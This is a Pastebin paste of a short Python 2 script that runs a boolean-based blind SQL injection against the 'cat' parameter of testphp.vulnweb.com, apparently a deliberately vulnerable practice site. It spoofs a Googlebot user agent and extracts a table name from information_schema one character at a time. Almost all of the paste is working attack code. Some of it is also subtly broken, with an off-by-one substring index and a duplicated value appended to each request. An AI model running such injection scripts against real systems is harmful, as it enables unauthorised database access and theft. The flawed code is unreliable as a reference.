Advertisement
Guest User

Untitled

a guest
Apr 29th, 2016
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. #!/usr/bin/python
  2. import sys
  3. import urllib2
  4.  
  5. def sendRequest(fullURL):
  6. headers = {}
  7. headers['User-Agent'] = "Googlebot"
  8. request = urllib2.Request(fullURL, headers=headers)
  9. response = urllib2.urlopen(request)
  10. resp = response.read()
  11. response.close()
  12.  
  13. return resp;
  14.  
  15. def generatePayload(index, asciiCode):
  16. payload = " and ascii(substring((Select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(index) +",1))=" + str(asciiCode)
  17. return payload
  18.  
  19.  
  20. def main():
  21.  
  22. url = "http://testphp.vulnweb.com/listproducts.php?cat=2"
  23. asciil = 32
  24. #by default we suppose that the max table name size is 10
  25. table_name_max_size = 10
  26. tablename = ""
  27.  
  28.  
  29.  
  30. for i in range(table_name_max_size):
  31. while asciil < 126 :
  32. fullURL = str(url) + generatePayload(i, asciil)
  33. print "[+] : Testing with ascii value " + str(asciil)
  34. response = sendRequest(fullURL + str(asciil))
  35. if "painted by" in response:
  36. print "[*] : Letter found " + chr(asciil)
  37. tablename += chr(asciil)
  38. asciil = 32
  39. break
  40. asciil = asciil + 1
  41.  
  42.  
  43. print "[*] : Table Name is : " + tablename
  44.  
  45. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement